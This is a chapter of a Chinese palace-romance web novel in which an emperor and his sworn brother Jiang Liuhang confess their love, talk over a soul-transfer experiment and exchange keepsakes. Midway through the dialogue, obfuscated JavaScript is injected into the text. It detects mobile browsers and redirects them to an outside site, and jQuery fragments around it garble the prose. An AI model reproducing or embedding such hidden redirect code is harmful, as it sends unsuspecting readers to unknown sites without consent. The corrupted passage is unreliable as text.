“大哥,感觉到了吗?我的心跳。它在说,喜欢、喜欢。” 见人还是没有反应,姜六航抬起头。 上面的眸光垂下来,定定盯着她,里面暗色涌动,不见多少欣喜。 姜六航想了想,欲要松开他,取出袖中的物件。 可手还未离开他的身体,他忽然伸臂回抱住她,一手横在她的背上,一手按住她的脑袋。 她的嘴唇触到他脖子上温热的皮肤。 她有些不好意思,想把头偏一偏,可才一动,那手按得更紧了。 “我感觉到了,听到了。”秦信道。 纵是可怜他,也好。 姜六航张了张嘴。 你呢? 她知道,大哥是喜欢她的,但她想听大哥说出来。 “六航,我也喜欢你。”耳边的声音喑哑压抑。 姜六航心里涌上一股热流,暖暖的,欣悦的,像置身于初夏洒满阳光、开满鲜花的山野,身体轻得像要飞起来。 大哥把她抱得很紧,似要揉进骨血里。 她嘴唇触着的肌肤温度迅速升高,开始只是温热,这时却灼人起来。 在用力地收紧一下手臂后,秦信放开手,稍稍侧了侧身子,双腿并拢。 “大哥,我看看你胳膊上的伤口。”姜六航道。 她一直嗅到血腥气。 “已经包扎好了,看不到什么,别看了。” 姜六航没强求。 两人和从前一样闲聊起来。 主要是姜六航说过去的一些经历,秦信时而问几句。 除了穿越和系统,姜六航全部说了。 说到增气丹的毒,秦信低声问道:“很疼吧?” “没有。”姜六航摆手,有系统在呢,从那次在梁州疼过之后,她再没受过那折磨,“那年在王府放火之后出京城,马上就遇到了那位从山谷出来的高人,给我治过后再没疼过。” 秦信细瞧她的面色,很轻松,不像说谎的样子。 最后说到几天前和方三的会面。 “你为何和他在那里见面?” 姜六航只觉这话问得奇怪,见面总要约个地方,有什么“为何”?她眨了眨眼:“见面的地方是方三定的,大概是因为那里好找,又没人。” 秦信深吸一口气,喉头仿佛哽着一块石头,但他终于还是问了出来:“悟尘和你说了什么?” 悟尘临走时坚持见了他一面,劝说他把移魂的研究继续下去:“皇上,衡王还在人世,但贫僧听说衡王中了毒性,若是有个万一,还是需要移魂的。” 他看出被拒绝后,和尚的不甘和深藏眼底的愤恨,但他没有在意。 谁知和尚那样大胆,不知怎的知道了姜指挥是衡王,竟跑去了六航面前挑唆。这是不要命了,也要报复他吗? 听到面前人的这句问话,姜六航顿时反应过来他先前问“为何和他在那里见面”的含义。 大哥以为她特意跑去北郊“衡王”墓查验悟尘所说的真假。 “他说,你押了一个人到那里,让他把我的魂魄移到那人身上。”姜六航看着面前的人,她正要问清这件事。 “那是个死囚。”秦信手掌按在膝上,声音有些急切。 姜六航没觉得意外。 她相信大哥不会随意伤害无辜。 可是死囚……也不行。 “他是自愿的。”秦信垂着眸子,姜六航看不清那里面的神色,只听得他低声道,“移魂要很多次才能成,只进行了两次,我就让悟尘停手了。” “大哥,这样的实验,以后绝不可再行,恐怕引起不可预计的后果。”姜六航正色道。 义弟神色郑重,但没有厌恶和谴责,秦信暗暗松开手掌,应道:“嗯。” 他从怀中掏出一个精巧的小盒子,打开来,里面放着一颗散发柔和光泽的玉石印章——将军令。 姜六航瞪大眼。 再一转念,又觉在情理之中。 大哥既捉住了方三,将军令自然落在了他手中。 不过装将军令的盒子换了,不是方三的那个盒子。 “拿着。”秦信递过来。 姜六航张开手,秦信把印章放在她的手心。 温润的触感贴着皮肤。 姜六航另一手从袖子里取出一块包着的淡青色手帕,展开,手帕的正中有一颗红色珠子。 她把将军令和珠子放在一起,再包裹起来,塞回袖子。 秦信瞧了几眼,只觉珠子眼熟,迟疑着问:“那珠子哪里来的?” 姜六航脸上有些发热,却还是坦荡地道:“我第一次上朝,你退朝时把御座后帘子上的珠子扯掉了下来,从上面滚下来,我捡了一颗。想你的时候,就拿出来看看。” 秦信脸上一片空白,似乎不能理解这话的意思。 “怎么了?”姜六航看着他的脸色。 这是感动得呆住了?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175605|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“想我的时候,就拿出来看看?” “嗯呀。” 秦信脸上空白缓缓退去,喜、惊、疑种种情绪接踵而现,扭曲在一起,嘴角却又牵着一丝笑纹,显得十分怪异。 姜六航正讶异间,他忽地伸手,紧紧地抱住她。 “六航。” “六六。” 灼热急促的呼吸喷在她的脸侧、颈上。 秦信嘴唇抵上义弟的发丝。 不只是可怜。 六航竟然真的心中有他。 十年的爱恋在他意想不到时,竟突然得到回应。 姜六航不知大哥怎么忽然激动起来,但那热烈的感情通过拥抱、呼吸、呼唤传递过来,她心中蓦然一阵酸软,伸手回抱住这人。 —— 将近傍晚,密室通向勤政殿的门打开,皇帝的身影出现在门口,冯简小心翼翼地迎上去:“皇上。” 他把皇上自伤的事告诉衡王,已经做好领罚的准备,可皇上瞧他一眼,面色甚是温和,丝毫没有问罪的意思,只道:“送饭菜来,两人的份。” 说着转身往通道去了,步伐轻快。 冯简满心惊讶。 饭菜都已备好,他提着两个食盒进去,敲门后,皇上在门口接着食盒,面上含着笑意。 他朝里面望过去,衡王坐在桌旁,满面笑容地朝他点了一下头。 门被皇上关上。 冯简在外面站了片刻,猛地朝空中挥了一下拳。 皇上和衡王,这是互通情意了? 老天保佑衡王的病能好。 那时一切就都好了。 这天入夜秦信才从密室出来,吩咐冯简:“安排好,明天送衡王出宫,别被人发现。” 冯简连忙应下。 秦信坐到桌前批阅堆积的奏折,才刚翻开一本,忽然想起一事,也没抬头,淡声问道:“朕记得,百晓楼宋楼主曾送给一盒膏药,除疤效果极好。” 冯简一愣,答道:“是,叫玉雪膏。” “还在吗?” 冯简:“……”他懵住了。 不是,皇上你不是叫我扔了吗? 虽然我没舍得扔,这……难道让我自承阳奉阴违? 他目光转动,瞥见皇帝抚着额头伤疤的手,陡地福至心灵。 “在在在,皇上,臣给您拿来?” 秦信轻声道:“去吧。” —— 后面的一段日子,表面上和以前没有变化,姜六航依然三点一线地按部就班。 只是早朝时,御座上的人朝她这边望得多了些。 在皇宫里,皇帝召见她频繁了些,和她商讨军务的时间长了些,和她共进膳食的次数多了些。 旁人只觉姜指挥恩宠日盛,但也没觉得意外。姜指挥可是救驾的大功臣啊。 直到六月中,姜子循察觉到异常。 这天,姜六航喝下药,再过半个时辰就可探脉得知能否去除增气丹毒性。 姜家众人齐聚,焦急地等待结果。 就在这时,皇帝毫无预兆地驾临。